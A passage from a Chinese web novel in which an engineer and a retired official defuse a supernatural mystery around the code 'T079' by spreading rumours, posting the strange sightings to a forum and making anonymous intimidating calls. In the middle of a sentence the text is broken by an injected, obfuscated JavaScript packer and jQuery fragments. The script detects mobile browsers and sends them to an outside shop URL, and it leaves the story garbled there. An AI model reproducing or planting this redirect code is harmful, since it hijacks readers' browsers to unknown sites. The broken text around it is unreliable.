那两名实习生浑然未觉身后多了一个沉默的听众。


    个子稍高、脸上还带着些许学生气的青年，正指着井盖边缘那串模糊的序列号，兴奋中夹杂着一丝神秘：“我就说嘛，‘T079’这个编号绝对有鬼！我二表哥他爸，当年就在市建委上班，他说过，凡是T字开头的项目，都是机密，根本不归他们管。”


    另一个稍胖些的青年则满脸不屑，摇了摇头，像是在驱散同伴不切实际的幻想：“胡说八道。我昨天专门托人查了，内部档案库里，关于C7区的所有工程记录，从规划图到竣工验收，根本就没出现过这个编号。你二表哥他爸八成是吹牛的。”


    “那网上那些帖子怎么解释？还有人说看见过图纸！”


    “P图谁不会？现在AI都能画了。”


    林工站在他们身后几米远的地方，静静地听着。


    清晨的薄雾尚未散尽，空气中弥漫着湿润的泥土气息。


    他没有上前纠正，也没有参与这场争论。


    纠正只会强化对方的记忆，参与则会让这个话题变得更加重要。


    他只是像一个再普通不过的晨练路人，脚步未停，从两人身边走过。


    在擦肩而过的瞬间，他用一种仿佛自言自语、又恰好能被他们听清的音量，轻声嘀咕了一句：


    “听说是几十年前修防空洞的，没修完，塌方死了不少人，晦气，后来就废了。”


    声音不大，却像一颗精准投掷的石子，瞬间击碎了两人争论的水面。


    “哎，师傅！”高个子青年猛地回头，“您知道内情？具体怎么回事？”


    林工却像是没听见，只是不耐烦地摆了摆手，头也不回地走远了，身影很快融入了晨雾之中，只留给他们一个萧索而决绝的背影。


    两个实习生面面相觑，脸上的表情从争执变成了混合着惊悚与好奇的揣测。


    三天后，市建委的食堂里，关于“T079”的讨论达到了一个前所未有的沸点。


    “听说了吗？T079根本不是什么特别工程，是建国初期一个秘密防空洞项目！”


    “我听到的版本不一样，说是冷战时期挖的核掩体，后来地质结构变化，整个项目组都埋下面了，一个没出来！”


    “你们那都过时了，最新消息是，那下面是个秘密的地底实验室，研究不干净的东西，结果发生了爆炸，为了封锁消息才把所有资料都销毁了！”


    林工端着餐盘，默然地从喧闹的人群中穿过。


    他知道，当一个真相被撕碎成一百种耸人听闻的流言蜚语时，它就失去了作为真相的资格，沦为了人们茶余饭后的谈资。


    追寻者会被无穷无尽的岔路搞得精疲力尽，最终选择放弃。


    几乎在同一时间，王主任家的书房里，一场无声的战役也落下了帷幕。


    他正在整理旧物，从一个积满灰尘的纸箱底，翻出了一本用牛皮纸包裹的册子。


    册子边缘已经泛黄，封面上用钢笔写着一行字迹工整的标题：《关于C7线地下综合管廊工程项目协调会会议纪要（复印件）-1986.05》。


    这是当年系统开始全面回收和篡改实体记忆时，他凭着一丝预感，偷偷复印下来的残本。


    他颤抖着手翻开，里面却是一片刺眼的空白。


    所有的文字，都在岁月的侵蚀与那股无形力量的抹除下，消失得一干二净。


    他忽然想起，昨晚临睡前，他最疼爱的小孙子趴在床边，睁着好奇的大眼睛问他：“爷爷，老师说作文里那个第七十九单元，是不是真的藏着外星人呀？”


    王主任沉默了良久。


    他取来一支红色的签字笔，重新翻开那本空白的纪要，在第一页上，用一种模仿当年会议记录的严谨格式，一笔一画地写下三行字：


    议题一：关于调整雨水管网排放坡度的可行性研究。


    议题二：关于施工期间夜间噪音对周边居民的补偿方案讨论。


    议题三：关于项目临时用电申请的跨部门审批流程。


    写完，他将这本“伪造”的会议纪要，小心地夹进了孙子的作业本里。


    第二天傍晚，孙子的班级家长群里，班主任发了一段带着笑意的语音：“王小虎同学今天特别可爱，交上来一本空白的本子，还自己编了三条假目录，说是从爷爷那里找到的‘绝密文件’，把我们办公室的老师都逗笑了。”


    群里立刻响起一片善意的哄笑和点赞的表情包。


    王主任看着手机屏幕，长长地舒了一口气。


    他知道，当深不可测的神秘被置于众目睽睽之下，并被贴上“童言无忌”的荒诞标签时，任何试图挖掘其深层含义的好奇心，都会在哄笑声中自行熄灭。


    城市的另一端，林工发现“残响”的渗透变得更加直接。


    某个新建成的公交站台，其顶棚的电子信息屏，每到午夜零点，就会自动从广告画面切换成一行极简的白色小字：


    【T079节点状态：同步中……67%】


    技术组派人来检查了数次，没有发现任何病毒或黑客入侵的痕迹，最终只能将其判定为广告投放系统的未知缓存错误，不了了之。


    林工没有将此事的诡异之处上报。


    他反而连续七个晚上，在同一时间、同一角度，用手机拍摄下这行文字，然后将照片打包上传到了一个本地生活论坛的“同城怪谈”板块。


    他配的文字很简单：“有人知道这是什么意思吗？我家小孩最近天天做噩梦，嘴里就念叨这个数字，我老婆说这站台风水不好，瘆得慌！”


    帖子迅速发酵。


    “看着像新的诈骗暗号，诱导人去搜什么投资平台。”


    “楼上别傻了，这明显是哪个新出的解谜游戏的线下彩蛋，搞噱头呢！”


    “我看就是系统乱码，我上次还在ATM机上见过乱码呢，大惊小怪。”


    恐惧一旦成为可以公开讨论的谈资，就会迅速贬值。


    第十天起，那行白色小字再也没有出现过。


    林工知道，当系统发现它的存在证明非但没有引起敬畏，反而沦为了市民的娱乐消遣时，它便失去了继续显现的意义。


    一周后，王主任路过菜市场，无意中听见一位头发花白的老太太，正神秘兮兮地对菜摊主说：“哎，跟你说个邪门事。我儿子昨天做梦，梦见一个穿蓝色工装的老头，浑身湿漉漉的，就对他念叨一句话，说‘别信T079’。”


    摊主一边称菜一边乐了：“那敢情好啊，您让他去找找住咱们这片的林工问问，他不就是天天修下水道的嘛，准知道是咋回事。”


    老人若有所思地点了点头，记下了这个建议。


    王主任默默转身离开，记下了那位老太太离开的方向。


    当晚，他用一张不记名的电话卡，拨通了那户人家的电话。


    电话接通后，他没有说话，只是播放了一段提前录制好的音频。


    嘈杂的电流背景音里，一个经过处理的、沙哑到分不清男女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834146|182836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的声音，在机械地、毫无感情地反复念叨着同一句话：


    “T079……是个空号……空号……空号……别再问了……是个空号……”


    录音循环播放了三分钟，然后自动挂断。


    又过了一周，菜市场的传言版本更新了。


    “听说了吗？之前说做怪梦那家，最近天天接到骚扰电话，跟神经病似的，吓得他们家都准备报警了！”


    当灵异现象被一个更具现实感的犯罪行为所覆盖，人们的注意力便会立刻从虚无缥缈的鬼神，转移到触手可及的罪犯身上。


    没有人再关心那个梦意味着什么。


    深冬，这个城市迎来了最后一场大雪。


    深夜，万籁俱寂。


    林工独自一人，再次走上了那座名为“平安通道”的跨街天桥。


    他走到曾经被刻下“记住”字样的桥墩旁。


    凹槽处一如既往地凝结着一层厚厚的白霜，但在路灯的映照下，冰面上似乎有什么东西。


    不再是单词，也不是数字。


    那是一句由水汽凝结成的、完整的问话，字迹清晰得令人心悸：


    【你相信第七十九单元吗？】


    这是最后的质问，是“残响”在耗尽所有间接手段后，对它所能感知到的唯一知情者发出的存在主义呐喊。


    它需要一个信徒，哪怕只有一个，来完成自身逻辑的闭环。


    林工在桥墩前静静地站着，雪花无声地落满他的肩头。


    良久，他从口袋里掏出一支随身携带的、用于在管道上做标记的红色蜡笔。


    他俯下身，在那行冰冷的问话下方，用一种稳定而决绝的力道，轻轻写下两个字：


    不信。


    写完，他没有丝毫留恋，转身离去。


    第二天清晨，负责清扫天桥的环卫工人，一边用高压水枪冲刷地面，一边对着那块涂鸦嘟囔：“嘿，现在的小年轻，恶作剧都开始写哲学题了？”


    一股温热的水流冲刷而过，无论是冰凝的问题，还是蜡笔的回答，都在瞬间融化，汇入地面的积水，消失得无影无踪。


    林工知道，当最后的信仰被亲手否定，连鬼魂都无法借尸还魂。


    他彻底埋葬了那个名字所承载的、最后一丝超自然的重量。


    这场无声的战争，似乎终于结束了。


    日子恢复了某种程度的平静。


    林工依旧每天巡查着城市的地下脉络，只是心中那根紧绷的弦，松弛了下来。


    一个周末的下午，他提前下了班，没有直接回家，而是拐进了市中心一片即将被拆迁的旧城区。


    这里的巷子里藏着一个自发形成的旧货市场，空气中混杂着铁锈、旧书和尘土的味道。


    他漫无目的地走着，目光扫过那些被时代遗弃的物品——生锈的工具、报废的收音机、落满灰尘的黑白电视。


    他的脚步忽然停在了一个堆满废旧办公用品的摊位前。


    在角落里，一台米白色的塑料外壳已经严重泛黄的机器，安静地躺在一堆杂乱的电线中。


    它的外形方正而笨重，像一座被人遗忘的、小小的墓碑，上面布满了划痕和岁月的污渍。


    是一台报废的传真机。


    林工的目光凝固在那条狭长的出纸口上，那里仿佛蕴藏着一种早已断线的、跨越时空的沉默。


    他站在那里，一动不动。


    一种全新的、冰冷而陌生的逻辑，正在他的脑海里，悄然自行组装。